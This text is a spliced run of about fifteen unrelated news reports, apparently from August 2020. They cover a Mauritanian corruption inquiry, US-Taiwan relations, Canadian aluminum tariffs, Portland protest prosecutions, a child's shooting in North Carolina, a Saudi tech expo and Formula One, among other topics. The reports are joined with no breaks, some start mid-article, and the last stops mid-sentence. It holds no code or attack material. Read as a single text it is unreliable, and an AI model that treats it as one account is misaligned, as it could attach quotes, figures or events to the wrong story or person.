Porter said that Mauritanians were waiting to see if Ghazouani was going to follow up the report with swift action and they were not disappointed. His PM pick, Ould Bilal, is originally from Keur-Macene, near Senegal, and considered an honest politician, according to Porter. In 2013 and 2014, he briefly ran SOMELEC, the state-owned utility, but he ultimately quit because he disagreed with the way in which SOMELEC conducted public tenders, writes Porter. Detailed report on oil revenue, fishing deals According to the local press, the 900-page CEP report gives details on a number of alleged cases of corruption, projects worth 1.2 billion, including irregular fishing contracts with Chinese companies, namely fishing company Pully Hong Dong, located in the coastal town of Nouadhibou. Story continues According to the report cited by the local press, the MPs handling the CEP investigation said that the contract was signed in 2010 for a period of 25 to 50 years, and would employ 2,500 people, according to the CEP report. The Chinese company was also to build new factories, including a fishmeal factory, and create new infrastructure. None of this has been done, according to the report. The sale of public land, including parcels that contained public schools in Nouakchott, the capital, are included in the corruption report. Sonimex, public company, which ensured the country's food supply, according to the text of the resolution voted unanimously by the deputies, was also liquidated and is being investigated. Former president Ould Abdelaziz has refused to meet with the committee that came out with the report. The petition drive is run by Metropolitan Strategies and Solutions, a company hired by the privatization committee to gather signatures to get airport privatization on the same Nov. 3 ballot. That effort was largely funded by Pelopidas, a firm tied to political megadonor Rex Sinquefield. Metropolitan Strategies and Solutions was also hired to work on the city governments previous study of Lambert privatization that was halted last December by Mayor Lyda Krewson. LeJuan Strickland, the companys owner, said Friday that Pelopidas isnt involved in the recall effort, which is self-funded. He denied he was trying to influence aldermen to vote for a similar Lambert privatization measure. Strickland, who is Black, has said that Spencer, who is white, hasnt done enough to engage with residents of the Black-majority ward. Advocates for privatization have touted a potential $1 billion that a Lambert lease could provide, some of which could help address racial and economic disparities in the city. In a lengthy statement, Strickland on Monday repeated a challenge to Spencer to offer alternatives to airport privatization for funding improvements to poorer, Black areas in the city. Taiwan faces an increasingly difficult position as China pressures the democratic island to accept conditions that would turn it into the next Hong Kong, its top diplomat told visiting US Health Secretary Alex Azar on Tuesday. Azar arrived in Taiwan on Sunday as the highest-level US official to visit in four decades, a trip condemned by China which claims the island as its own. Chinese fighter jets on Monday briefly crossed the median line of the sensitive Taiwan Strait, and were tracked by Taiwanese anti-aircraft missiles, part of what Taipei sees as a pattern of harassment by Beijing. Azars trip to Taiwan has also coincided with a further crackdown in Chinese-ruled Hong Kong, where, on Monday, police arrested media tycoon Jimmy Lai under a tough new national security law. Our life has become increasingly difficult as China continues to pressure Taiwan into accepting its political conditions, conditions that will turn Taiwan into the next Hong Kong, Foreign Minister Joseph Wu said at a joint media appearance with Azar in Taipei. US Heath Secretary Alex Azar and Taiwans Foreign Minister Joseph Wu hold a joint news conference in Taipei, Taiwan, August 11, 2020 [Ann Wang/ Reuters] China has proposed a one country, two systems model of autonomy to get Taiwan to accept its rule, much as it uses in Hong Kong. The proposal has been rejected in Taiwan by all major parties and the government. Wu said Taiwan was lucky to have friends like Azar in the United States to help fight for Taiwans international space. We know this is not just about Taiwans status, but about sustaining democracy in the face of authoritarian aggression. Taiwan must win these battles so democracy prevails. Washington broke off official ties with Taipei in 1979 in favour of Beijing, but is still Taiwans biggest arms supplier. The Trump administration has made strengthening its support for the democratic island a priority as relations with China sour over issues including human rights and trade. Azar is in Taiwan to offer not just the administrations support for its democracy, but to learn about its successful fight against the coronavirus pandemic. Taiwan has kept its infection numbers low, thanks to early and effective prevention efforts. Azar said the world should recognise Taiwans health accomplishments, pointing to Taiwans exclusion from the World Health Organization (WHO) due to Chinese objections, which considers Taiwan merely a wayward province. Especially during a pandemic, but at all times, international organisations should not be places to play politics. They must be venues for constructive, open dialogue and cooperation. Both China and the WHO said Taiwan has been provided with the help it needs during the pandemic. Photo: The Canadian Press As the school restart draws nearer, provincial health officer Dr. Bonnie Henry is asking parents to have faith in what the new system will look like. School districts will be working to incorporate important innovative measures to ensure children can still receive a well-prepared education while maintaining the required safety procedures. "They are the foundation and the backstop for all of us," she says. Reducing the numbers of people allowed on site, staggering start times and recess/lunch breaks, keeping groups small and using masks when appropriate are some of the measures that will be used in schools. "It may be that two or three classes all start at the same time and have recess at the same time. It doesn't mean that all of those children will be intermingling every day. It means they may go for recess at the same time, but they'll be in different areas of the school yard." Outside classrooms will also be considered in efforts to increase ventilation and the capacity for physical distancing. Masks will be used in contexts where physical distancing cannot be maintained, but if data on the transmission of COVID-19 in children and use of masks shows a need to adapt, that could change. "To think of a young child, 10, 11, 12, sitting all day in a classroom with the mask on is probably not realistic," says Dr. Henry. "There's lots of things that we can do to make those environment safe without requiring somebody to sit with a mask on for long periods of time." Grandparents involved in the care of a child, such as those who provide before or after-school care, should remain involved in the child's life following the school restart if the family feels it is safe, advised Dr. Henry. However, she says although significant work is being done to ensure the safety of children, parents, families and teachers, she acknowledges the fear people may feel about the restart of in-class learning. "This anxiety, this fear, this not knowing what it's going to look like in the face of a global pandemic, is perfectly normal. We are all feeling that, and I understand that. "Schools will look different. We have to put aside what classes were like in March or even in June, and we learn from what we know about this virus and about how it spreads and about things that we can do around the world." By Express News Service THIRUVANANTHAPURAM: It was almost certain that the operation of wide-bodied aircraft from Calicut International Airport would be suspended soon after the aircraft accident at the airport. The DGCA has asked the Saudi Arabian Airlines and Air India which were operating wide-bodied aircraft to the airport to switch its operations to Cochin International Airport on Sunday in the wake of the accident involving Air India Express aircraft which overshot the runway, killing as many as 18 passengers. Now the DGCA made clear that the operation of wide-body aircraft at Calicut airport would be suspended at least till the end of the monsoon season. The aviation regulator will conduct a special audit of reports of airports that receive heavy rainfall during monsoon in the backdrop of the aircraft accident in Calicut airport. It is not clear whether the operation of wide-bodied aircraft would be resumed soon after the monsoon in Kerala where the south west monsoon withdraws by September 30. Though no date was fixed on the resumption of services, the DGCA is expected to take a call on this matter only after the monsoon and considering the preliminary report of the aircraft accident investigation bureau into the Calicut air crash incident. ALSO READ: AI pilot unions demand removal of DGCA chief Arun Kumar over Kozhikode plane crash comments Though the aircraft involved in the accident was a Boeing narrow-bodied aircraft, the operation of wide-bodied aircraft from Calicut airport was also a matter of contention for about one decade. After various reports by experts, the operation of wide-bodied aircraft was suspended at the airport from May 2015 in the wake of the Court of Inquiry report on the Mangaluru air crash. Later, the DGCA gave the nod for the operation of the wide-bodied aircraft with several riders in 2018 December. The permission was granted after huge public protest and pressure from political parties. Ahead of resuming the services, the airport has also re-carpeted the runway and widened the length of Runway End Safety Area (RESA), one of the imperatives for operating wide-bodied aircraft, from 90 to 240 metres. Now with the DGCA suspending the operation of wide-bodied aircraft without fixing any date for the resumption of services, uncertainty looms large over the future of the airport for which the operation of wide-bodied aircraft especially during the time of Haj pilgrimage constitutes a good share of its annual revenue. Advertisement Ethereal images of underwater models were captured by a British photographer who holds her breath for minutes at a time in order to secure the mesmerising snapshots. Lexi Laine, from Brighton, uses natural sunlight rippling through the water to set the scene for her otherworldly images, for which she travels as far as the Mediterranean Sea and lagoons in Mexico. The photographer, 38, who can hold her breath for three and a half minutes, said she has been interrupted by jellyfish and crocodiles while posing her models in elegant gowns among the sea life. 'The real aim for me with my work is to transport people to that feeling that I have when I'm underwater,' Ms Laine said. 'To me it feels like a completely different world to the crazy world we're in right now.' Her models are also able to hold their breath for extended amounts of time in order to capture the underwater images, which Ms Laine began curating in 2014. 'I've always loved being underwater,' she said. 'I've always loved scuba diving and snorkelling throughout my adult life. I combined my two loves together.' The photographer has focused much of her art on the issue of plastic pollution in our seas and oceans, including one image which captures models posing with plastic sheets in the shape of the world map. Ethereal underwater photographs are captured by a British photographer who holds her breath for minutes at a time in order to secure the mesmerising snapshots Lexi Laine, from Brighton, uses natural light shining through the water to set the scene for her otherworldly images, for which she travels as far as the Mediterranean Sea and lagoons in Mexico The photographer, 38, who can hold her breath for three and a half minutes, said she has been interrupted by jellyfish and crocodiles while posing her models in beautiful gowns among natural sea life The images capture models in elegant gowns as they pose among sea life, with natural light shining behind them This image, Ghost Nets, captures five models in skin coloured clothes as they pose underwater inside a fishing net Ms Laine has also focused her stunning photography on the issue of plastic pollution in our seas and oceans. This photograph - Single Use Planet - shows models posing underwater with plastic in the shape of a world map Other images show mirrored figures with trees appearing to grow at the side of the frame as light fragments through the water Another image captures a model surrounded by discarded plastic carrier bags (left) while other photographs show models surrounded by sea life Darius Sessoms, 25, was charged on Monday with the murder of five-year-old Cannon Hinnant in North Carolina North Carolina police have charged a neighbor with the murder of a five-year-old boy who was riding a bike in his own yard when he was shot at point blank range on Sunday evening. Darius Sessoms, 25, was taken into custody by Wilson police around 24 hours after he allegedly approached Cannon Hinnant in front of the young boy's father's house at 5:30pm and shot him in the head. Hinnant's seven-year-old and eight-year-old sisters witnessed the killing, their mother told WRAL. Sessoms lived next door to the family, and the killing is not believed to be random. Neighbors claim he had dinner with Hinnant's father Austin on Friday and had been over at the house earlier on Sunday. The motive for the killing is still under investigation, but a GoFundMe established by a family member says that the young boy rode into Sessoms' yard. 'Sunday, August 9, 2020 a sweet soul named Cannon Hinnant was taken from this world over a senseless act,' it reads. 'A beautiful 5 year old baby boy riding his bicycle was shot by his neighbor point blank in Wilson NC. One minute he is enjoying his life, the next it all ends because he rode into his neighbors yard.' Cannon Hinnant, 5, was riding his bike in front of his father's house in Wilson on Sunday when Sessoms approached and shot him in the head. The motive has not been released Hinnant was playing in front of his father's house with his seven-year-old and eight-year-old sisters when he was shot in the head at point blank range on Sunday evening. The childrens' home is pictured, with the five-year-old's bike circled The young boy was set to start Kindergarten on Monday and had just learned to write his name. 'He was just a loving kid,' his mother Bonny Waddell told the Wilson Times. 'He had the biggest heart.' 'Its devastating. No one should ever have to bury their child. No mother should have to go through this.' Hinnant's family said they have known the suspect for years and did not believe he could be capable of murder. 'We used to play together and I never thought hed kill someone. A mother now has to lay her son to rest at 5 years old which she should never have to do. Hell never be forgotten,' Rachel Pipkin, a cousin of Cannons mother told CBS. Police were called to the scene on Archers Road at around 5.30pm Sunday where Hinnant was found with a gunshot wound. Cannon Hinnant was due to start Kindergarten on Monday Emergency responders tried to save him and he was taken to the Wilson Medical Center but later died. Sessoms was immediately identified as the suspect. He fled the scene in a black 2019 Toyota Corolla and was later located by authorities in a residence in Goldsboro. Police charged him with first degree murder on Monday, and he is being held with no bond. He made his first ten-minute court appearance virtually from Wilson County Jail on Tuesday morning. Wilson County District Court Judge John Britt read Sessoms his rights and the charge he is facing. The suspect said he would be seeking his own attorney to represent him. He probable cause hearing was set for August 25. According to the Wilson Times, Sessoms was previously convicted of felony larceny of firearms in Wilson County in March 2016, misdemeanor maintaining a place for a controlled substance in Wake County in April 2016 and felony marijuana possession in Nash County in November 2016. Cannon Hinnant was set to start Kindergarten on Monday. The family is devastated by his death with some family saying they have known the suspect, a next-door neighbor, for years A GoFundMe established for the family claims the young boy rode into Sessoms' yard Sessoms appearing in front of a judge via video link on Tuesday morning Court records also show that Sessoms has two pending counts of felony maintaining a vehicle, dwelling or place for a controlled substance in Wilson County. Goldsboro Police Department, Wayne County Sheriff's Office and the U.S. Marshals Service task force assisted in his arrest. 'The Wilson Police Department sends its sincerest condolences and prayers to the family of Cannon during this tragic time,' a police spokesperson said Monday. Neighbor Doris Labrant witnessed the shooting through her window from across the street. She told WRAL she saw Sessoms run up to the young boy, put the gun to his head and fire before running back to his own house. 'My first reaction was he's playing with the kids,' Labrant said. 'For a second, I thought, "That couldn't happen". People don't run across the street and kill kids.' On seeing Hinnant's father's reaction, however, she realized that the shooting was real and ran to lock herself inside and call 911. Sessoms' parents live right next door and the families know each other Sessoms fled in this car but was apprehended by authorities 24 hours later 'Austin ran out of that house screaming and picked him up. They'll never get over it,' she said. 'You don't expect to see somebody shoot someone. 'It's almost like seeing a movie and then all of a sudden it dawns on you it's not a movie.' She added that Sessoms' parent lived on the street for about 28 years and that she had not previously heard any altercations between the families. 'There was no yelling, screaming,' she claimed. Neighbors gathered around the scene on Sunday night, shocked that the killing happened in their quiet neighborhood. 'Its usually quiet here. You might hear cars kind of loud and stuff like that, but as far as this right here going on, no, you dont see nothing like this. Its sad, it hurts and justice needs to be served,' said neighbor Frank Harvey told CBS. Police are still investigating to establish a motive for the murder Speaking the WRAL, the boy's grandmother said that the family is happy to see Sessoms in custody but are devastated by the death. They held a tribute Monday afternoon at his grandparents house in Black Creek in which they called for an end to violence against children. 'Really everybody just wants answers as to why this was done. There will be justice,' said Allan Wooten, the boy's uncle. His family described Hinnant as a nature lover who would look after injured insects. 'He loved being outside,' his mother said. 'He always tried to save some creature. He loved any animal, any insect.' She added that he loved his bikes and his two sisters and two brothers and that she had now nominated him for organ donation with the hope that he can live on through other children. 'He can live on through other kids,' she said. 'It was what he would have done if he was older. He would have saved anybody. He was the sweetest child.' 'He was one of a kind,' grandfather Greg Waddell told The Wilson Times. 'He loved to talk to everybody. He wasnt shy.' 'He always had a smile on his face,' grandmother Wendy added. 'I can see him right now. Beautiful soul. He wasnt scared of anything. He was very courageous.' Monday's event was attended by the town's Mayor who also paid tribute to the young boy. 'I have a child thats five years old. My heart broke right then. I went home right then and I took my baby and just hugged her,' said Mayor Carlton Stevens. If anyone has any information that could help, they are urged to contact Wilson Police at (252) 399-2323 or Crime Stoppers at (252) 243-2255. Judas and the Black Messiah examines Black Panther Fred Hampton's betrayal by William O'Neal, Hampton's bodyguard turned FBI informant. Hampton was a rising star in the revolutionary arm of the Civil Rights movement when he was killed in a police raid at age 21. Forensic evidence suggested that Hampton and others had been drugged by O'Neal the night before the deadly raid. According to Newsweek, O'Neal was placed in federal witness protection after his involvement with the FBI came to light. O'Neal allegedly died at age 40 by suicide in 1990. The film stars Daniel Kaluuya as Hampton and Lakeith Stanfield as O'Neal. Not everyone is happy with a British actor once again cast as an American civil rights icon: "But the casting of Kaluuya, a British-born actor, as an American civil rights has elicited some criticisms, a la Brits Cynthia Erivo as Harriet Tubman and David Oyelowo as Martin Luther King, Jr." Director Shaka King dismissed these criticisms as a "diasporic way of thinking." This story is perfect to present as a political thriller film. The press for the film has a great summary of Hampton's work and legacy: Though his life was cut short, Fred Hampton's impact has continued to reverberate. The government saw the Black Panthers as a militant threat to the status quo and sold that lie to a frightened public in a time of growing civil unrest. But the perception of the Panthers was not reality. In inner cities across America, they were providing free breakfasts for children, legal services, medical clinics and research into sickle cell anemia, and political education. And it was Chairman Fred in Chicago, who, recognizing the power of multicultural unity for a common cause, created the Rainbow Coalitionjoining forces with other oppressed peoples in the city to fight for equality and political empowerment. Given the events of this year, this film is likely to get significant attention in this year's all-bets-are-off awards season. New Jersey State Police troopers rescued a man from a vehicle caught in a flash flood in Salem County over the weekend. It was shortly after 1 a.m. on Aug. 8 when Troopers Christopher Engel and Colin Reilly responded to a report of a motorist trapped on Route 40 in Pilesgrove Township as storms swept through the region. They found the 65-year-old driver in a vehicle pinned against a guardrail. Body camera video released by the police shows the troopers wading through knee-deep water along a dark stretch of roadway to the stranded vehicle. Because of quickly rising floodwaters from a nearby waterway and the pressure of the current, the troopers knew they had to work quickly, according to an announcement released with the video. In the video, the car door opens as water rushes past and a trooper helps the man from the drivers seat. Thank you, the driver says, as they guide him to safety. The man was treated by EMTs and released. Police used the rescue as an opportunity to remind motorists of the deadly dangers posed by flash floods. Remember, flash flooding can happen quickly. If you encounter a flooded area, turn around. Our journalism needs your support. Please subscribe today to NJ.com. Matt Gray may be reached at mgray@njadvancemedia.com. The address by Mrs. Obama, who officials believe could attract the widest viewership of the week aside from Mr. Biden, was being filmed this week at her familys vacation house on Marthas Vineyard, in part to ensure that the first night ends on an emphatic and technologically predictable high note, according to several people with direct knowledge of the situation. Mrs. Obama has told friends that she views the speech as her major contribution to the 2020 race. But the decision to tape her address in advance is likely to rankle network executives already grappling with a warped version of what is typically one of the biggest television moments of an election year. Sensitive to being seen as passive vessels for politicians, TV news producers frown on taped material; in past conventions, network cameras have usually cut away from those segments for commentary and analysis. But the remote nature of the proceedings means that networks will have to act more like air traffic controllers, directing a flurry of video feeds, than on-the-ground chroniclers of a heaving human spectacle. News anchors will cover the events from studios in New York and Washington, with some pundits beaming in from summer homes. The major broadcast networks, ABC, CBS and NBC, plan to carry an hour of the convention live each night, from 10 to 11 p.m. on the East Coast. Cable news channels will air the two-hour nightly proceedings in full, but the Democrats jampacked schedule poses a risk that local affiliates in swing states could cut away at 11 p.m. if speakers arent wrapped up. To add more visual pizazz for viewers, Democratic officials have encouraged their remote speakers to set up cameras in symbolic and visually interesting locations, rather than drab Zoom backgrounds, like bookcases and spare rooms, that are common to cable talk shows. Deputy Prime Minister Chrystia Freeland came out swinging last Friday against the threatened imposition of a ten-per-cent import tariff on Canadian aluminum by the administration of U.S. President Donald Trump. The U.S. action is unwarranted and unacceptable, she said, and Canada will hit back with corresponding tariffs on selected products imported from the U.S. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. Deputy Prime Minister Chrystia Freeland came out swinging last Friday against the threatened imposition of a ten-per-cent import tariff on Canadian aluminum by the administration of U.S. President Donald Trump. The U.S. action is unwarranted and unacceptable, she said, and Canada will hit back with corresponding tariffs on selected products imported from the U.S. Ms. Freeland has tended to tread softly in dealings with the Trump administration, as though to avoid making them mad. Not so last Friday. No more Ms. Nice Guy. Canada will not escalate but will not back down, she said. Our retaliation will exactly match the U.S. action. But its wrong, she said, to raise consumer prices this way and erect trade barriers while both countries are trying to recover from a coronavirus-induced recession. The U.S. action is being attempted under a provision in U.S. trade law that allows the president to impose tariffs for reasons of national security. Canada, Ms. Freeland said, has been a reliable supplier of aluminum to U.S. industry, including defence industries, for decades and cannot be considered a threat to U.S. national security. Ms. Freeland had to tiptoe around the U.S. claim that there has been a surge in U.S. imports of Canadian aluminum. Surges lie partly in the sales figures and partly in the eye of the beholder. The U.S. government sees a surge. Ms. Freeland didnt want to discuss it. The ministers aggressive tone reflected growing Canadian impatience with U.S. protectionism and the dwindling authority of Mr. Trump. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The ministers aggressive tone reflected growing Canadian impatience with U.S. protectionism and the dwindling authority of Mr. Trump. Prime Minister Justin Trudeau passed up an invitation to visit Mr. Trump in Washington on July 8 to mark the entry into force of the new Canada-U.S.-Mexico trade treaty, pleading COVID-19 risk and the press of government business. There is no applause to be won in Canada these days by chumming around with Donald Trump. The U.S. president, moreover, seems likely to lose his re-election bid in November. He is trailing in the polls behind his Democratic rival, former vice-president Joe Biden. His efforts to curtail the coronavirus pandemic and restore economic activity, such as they are, have achieved little benefit for his people. In these circumstances, Ms. Freeland is emboldened to stand up fiercely for Canada, whether Mr. Trump likes it or not. JUSTIN TANG / THE CANADIAN PRESS FILES Deputy Prime Minister Chrystia Freeland had to tiptoe around the U.S. claim that there has been a surge in U.S. imports of Canadian aluminum. Winning applause from Canadians is all very well, but the governments main aim should be to stop this trade war before it starts. Canada achieved good results in trade treaty negotiations two years ago by making its case loudly and often to U.S. politicians and industry leaders who trade with Canada. Visits to the U.S. are more difficult than they used to be, what with the pandemic and all, but Ms. Freeland should find other ways to mobilize the U.S. friends of trade with Canada, especially the industries and consumers who will literally pay the price Mr. Trump is imposing on them with the tariff announcement he made in Ohio at a Whirlpool washing machine plant. Mr. Trumps tariff will drive up the price of those washing machines, Ms. Freeland pointed out. Good point. The same point is worth making over and over again, in all the U.S. markets where more expensive cans of beer are being popped open and costlier home appliances are being installed. Portland Police Chief Chuck Lovell said Tuesday his officers prefer not to make arrests during demonstrations but that some people use the gatherings as an opportunity to commit crimes. His remarks came in response to an announcement by Multnomah County District Attorney Mike Schmidt that his office wont prosecute many of the hundreds of people facing misdemeanor charges over more than 70 days of protests in the city. Police have arrested more than 30 people in the last several days as some have set fires in and around police buildings, blocked streets, lit fireworks and thrown things at officers. Police have responded by declaring disturbances and pushing the crowd back with physical force and impact munitions. They declared riots Saturday and Sunday nights. Many of those people face allegations that Schmidt said will likely not be prosecuted: disorderly conduct and interfering with a police officer. The prosecution of cases relating solely to protest activities, most of which have a weak nexus to further criminality and which are unlikely to be deterred by prosecution, draws away from crucially needed resources, Schmidt said. As stewards of public resources, we must devote our efforts to prosecuting crimes that allow us to protect our most vulnerable victims to have the greatest impact on promoting a safer community for everyone in Multnomah County. Lovell said the arrests have often come after hours of damage to private property, disruption of public transit and traffic on public streets, thefts from small businesses, arson, burglary, attacks on members of the community, and attacks against police officers. Going forward, he said, The Portland Police Bureau remains committed to public safety. He didnt specifically address the latest arrests or the police tactics. Protests against police violence and anti-Black racism are set to continue Tuesday for their 76th day. Heres Lovells full statement: Today, Multnomah County District Attorney Michael Schmidt discussed a new policy declining certain cases presented to his office related to arrests made at protests. The Portland Police Bureau remains committed to public safety. We have said repeatedly throughout these long months that we would prefer not to make arrests at all. In fact, people regularly meet to demonstrate all over Portland with no police interaction. Over the last several months, weve seen thousands gather in awesome displays of peaceful assembly. The goal for the Portland Police Bureau is to maintain the peace and promote public safety. As DA Schmidt said today, his policy does not change the law, nor does it say his office will tolerate damage to property or deliberate violence against police or anyone else. When police make arrests, they are based on probable cause that a crime has been committed. Committing a crime is different from demonstrating. Some people use the gatherings as an opportunity to commit crimes. The arrests we make often come after hours of damage to private property, disruption of public transit and traffic on public streets, thefts from small businesses, arson, burglary, attacks on members of the community, and attacks against police officers. The Portland Police Bureau is much more interested in collaborating with the community in ways that will lift people up. We are much more interested in seizing a positive momentum and listening to our community on how we re-envision public safety. Nightly violence disrupts our ability to do that, and the people committing the violence know that. We hear from our community every day how tired they are of the nightly violence. As always, whether the District Attorney decides to charge cases we send to his office is up to him. The Portland Police Bureau will continue to do the job the community expects of us, and will continue to reach out to all people to connect and build trusting relationships. One of those relationships is with the District Attorney, and we will continue to work with that office in the interest of public safety. Portland Police officers put themselves in harms way daily as public servants. They are professional and dedicated. I am proud to be their Chief and I am proud of their commitment to serving, and protecting our community. -- The Oregonian/OregonLive Saudi Arabia will host a landmark event early next year aiming to boost foreign investment in the transformative Kingdom, elevate digital economys contribution to non-oil GDP by $13 billion, and empowering women in technology. LEAP 2021 supports the Kingdoms Vision 2030 for a knowledge-based economy, and is poised to galvanise public and private organisations in the region and beyond, unlock the Kingdoms boundless investment potential for seismic economic diversification, and propel the nation into the ranks of the worlds top 20 tech-enabled nations. Backed by a multitude of government organisations, LEAP will serve as a catalyst for monumental digital transformation across every sector of Saudi industry and business. Merging large-scale tech adoption solutions and ambitious pilot projects, the event will debut at the new Riyadh Front Exhibition Centre the largest in Saudi Arabia from February 1-3 next year. Powered by Saudi Arabias Ministry of Communications and Information Technology (MCIT), and organised by Informa Tech, LEAP is a strategic initiative to transform the national economy and position Saudi Arabia as a visionary tech hub connecting three continents with the global industry. Backed by Saudi Arabian government and the Kingdoms major investors and mega infrastructure projects, LEAP aims to reform business opportunities and empower the funding of ideas and nurturing of tech startups from Saudi Arabia to San Francisco, and everywhere in between. LEAP arrives as Saudis investment in the domestic and international startup ecosystem is forecast to exceed the multi billions USD mark in coming years, with Saudi Venture Capital Company (SVC), a government-backed venture capitalist, pledging $750 million to stimulate new businesses in the Kingdom; Saudi Technology Ventures (STV), the Middle Easts largest venture capital fund, launching a $500 million tech fund to back startup founders, young entrepreneurs; and Public Investment Fund (PIF) reporting over $50billion to invest in emerging technology. LEAP will feed the startup climate and directly link star-gazing entrepreneurs with future focused investors. LEAP will be the most iconic and seismic tech event for a generation; where East meets West and tech innovation meets investment, said Abdullah Amer Al-Swaha, Saudi Arabias Minister of Communications and Information Technology. The event will have reverberations around the world and serve as a catalyst as the Saudi government gears up to transform and diversify its economy. LEAP will be a key factor in growing the IT sector, boosting ICTs GDP contribution by SR50 billion over five years, securing foreign investment, assisting our Saudisation employment ambitions, empowering a female workforce and attracting international talent. LEAP is integral to MCITs five-year strategy aimed at accelerating the growth of the Kingdoms digital economy by 50%, elevating its GDP contribution by $13.3 billion, increasing foreign investments and continuing the drive of empowering women in the Kingdoms tech sector and encouraging Saudi youth to pursue their dreams. Saudi Arabia already has a flourishing female participation in its tech sector, and we aim to nourish that passion and boost female representation to the highest in the world, said Wadha Bin Zarah, Women Empowerment Director at MCIT. LEAP will look to empower women in the local IT industry further through several measures such as recognizing and rewarding female tech leaders and giving female-led startups access to potential funding. By creating an event which has true equality of opportunity, everyone in attendance will have equal possibilities to benefit from the awards, funding, prize funds, knowledge sharing and networking available, Zarah added. Speaking on behalf of Informa Tech, Carolyn Dawson, the global event giants Managing Director, said: LEAP will be where the Saudi government, sovereign and privately-held wealth funds will purchase pilot technology before anyone anywhere else in the world. Government investment funds, family offices, sovereign wealth funds, corporate accelerators, incubators, venture capital, private equity and angel investors will provide more tech investment than any event of its kind. The event will be a conduit to global tech innovation; corporate buyers will initiate and announce massive tech deals to bring about a seismic shift in the global epicentre of tech adoption, added Dawson, revealing how LEAP will set a new international benchmark in visitor experiences. It will be an immersive and experiential exhibition delivering a habitat beyond imagination and reflecting the enormous changes which technology will bring to future lifestyles, added Dawson. LEAP will have 14 focused exhibition areas oozing innovation in artificial intelligence, blockchain and crypto, robotics, 3D Printing, IoT, biotech and healthtech, smart mobility and unmanned systems, open source, quantum, 5G, materials science, space and satellites, data and fintech. Promising hundreds of hours of thought-leading conference content, keynote presentations, talks and lively debates with the major global tech disruptors and change-makers, audiences will also gain penetrating insights into tech advancements across several dedicated stages. Hot topics impacting artificial intelligence, startups, future energy, FinTech, the creative economy, BioTech, EduTech and smart cities will be tackled at the events LEAP Keynote Stage, LEAP AI Summit, Orbital Talks and Startup Pitch Stage. International innovators and business hopefuls will gain unprecedented access to potential investors and end-users via bespoke LEAP Investor Club meetings designed to foster accelerated development programmes. Venture capitalists, private equity providers, sovereign wealth funds, corporate and government accelerators, family offices, university R&D labs, incubators, and angel investors will form the backbone of the Investors Club, with attendees eager to hear, see and purchase the latest tech solutions. TradeArabia News Service Sebastian Vettel will have a new chassis at his disposal from this weekend as his relationship with Ferrari teeters on the brink. 2016 world champion Nico Rosberg had suggested the remedy in order to get the quadruple world champion out of his competitive slump. "Sometimes there are minimal things wrong that are barely recognisable," Rosberg said. "Sebastian should speak to Ferrari immediately and tell them: give me a new chassis. "In my opinion, there must be something wrong with the car," Rosberg told RTL. "We're talking about a four-time world champion." It comes after Vettel publicly scolded his team on the radio during the most recent Silverstone race, accusing them of having "messed up" his strategy. Team boss Mattia Binotto immediately defended Ferrari, but now he seems willing to switch Vettel's chassis in order to get the German back up to speed. "I am open to anything that can help Sebastian. I will leave it to the driver and the team to discuss it," he said. "If we can restore Seb's trust with a new chassis, he will get a new chassis. We will do everything we can to make him feel more comfortable," Binotto added. The German broadcaster RTL says the new chassis will be ready for this weekend's Spanish GP. Ralf Schumacher backs the move. "Leclerc clearly has the faster car," he told Sky Deutschland. "Sebastian doesn't deserve the way Ferrari is treating him. "I am curious to see whether the atmosphere will get so bad that Vettel will take him out of the cockpit. But I can't imagine it yet." However, not every former driver is getting behind Vettel. 1997 world champion Jacques Villeneuve told Sky Italia that the German "always makes these mistakes" when he loses confidence, referring to Vettel's spin on Sunday. "It's incomprehensible that it happens so often with a champion," he said. (GMM) A clearly distraught Karl Stefanovic has comforted parents who pleaded to see their severely ill son in the ICU in a heartbreaking interview. Ben Stylo, 28, was rushed to Melbourne's Alfred Hospital ten days ago with sepsis and his relatives are being kept out of the ICU to prevent the spread of the virus among vulnerable patients. The cafe owner suffers from chronic granulomatous disease - a genetic condition which prevents his immune system from fighting infection and is so rare there are only five known cases worldwide. His mother Rose Cassar, who was allowed to ride with her son in the ambulance to hospital but no further, said the family would do anything to see their son. Ben Stylo, who was admitted to a Melbourne hospital ten days ago suffering from septic shock (pictured, centre, with his mother Rose Cassar and father Donald Borg in hospital) 'We don't want to make things any worse for anyone. We are following protocols. We will wear PPE. We'll pay for our own PPE and have COVID tests done,' she told the Today show on Tuesday morning. 'We don't want all of us to be there - we just want one of us to be there by his side and that can make a world of difference to him, to his recovery and to our mental health.' Mr Stylo contracted a fungal infection in January 2019 and doctors fear it has seeped into his bloodstream. 'This is the worst virus,' Stefanovic told the parents. 'And what it's doing to families when you should have a loved one around you. 'You just want to be with someone and if it's a family member who is dying or someone who is going through the most hideous experience you can't be with them. 'I mean, it separates us. It separates the love. It means you don't have that contact. It's awful.' Mr Stylo's mother Rose Cassar (pictured, left) said the 28-year-old's family would do what it takes to be by his side (right, his father Donald Borg on Tuesday morning) 'This is the worst virus,' breakfast host Karl Stefanovic told the parents. 'And what it's doing to families when you should have a loved one around you The 28-year-old was initially incubated before being taken off the tubes last Wednesday, but Ms Cassar said it could be a matter of time before the sepsis returns. 'He's still in the ICU and he's very fragile,' the mother said. 'He is a lot better than what he was but he has a temperature and they have to keep him there because the sepsis he suffered may potentially come back.' Mr Stylo's father Donald Borg said even if his son's mother could see him through a window or a screen it would be enough. Mr Stylo (pictured) contracted a fungal infection in January 2019 and doctors fear it has seeped into his bloodstream 'We have got great support family wise and we're just hoping for the best,' he said. 'The nurses and doctor in the ICU have been excellent - if it wasnt for them Ben would be gone.' The family have written a letter to Premier Daniel Andrews asking for health authorities to allow relatives to see their loved ones in ICU in a safe environment. Ms Cassar has previously told Daily Mail Australia she understands the need for strict rules around visitors, but said there should be a way for patients in intensive care to see their loved ones during the pandemic. 'We want the ability to see our son without risking anyone else's health. We would wear PPE suits and we would do a COVID-19 test,' she said. The family have tried scheduling video calls but his condition changes so quickly that the opportunities are always postponed. Mr Borg said his son is isolated and losing hope. Mr Stylo's family lived in terror as he went from having hours to live, to sitting up in bed, to going back on life support (pictured, Mr Stylo with his stepfather Russell) In the days following his ICU admission, Mr Stylo's family were terrified as he went from having hours to live, to sitting up in bed, to going back on life support. At one point, Ms Cassar received a phone call from the hospital informing her that her son's life was fading. 'I begged and pleaded, please let me come and see him. They said no. Then an hour-and-a-half later I got the call saying you are allowed to see him, special circumstances, he only has hours left to live,' she said. While Mr Stylo (pictured) miraculously improved 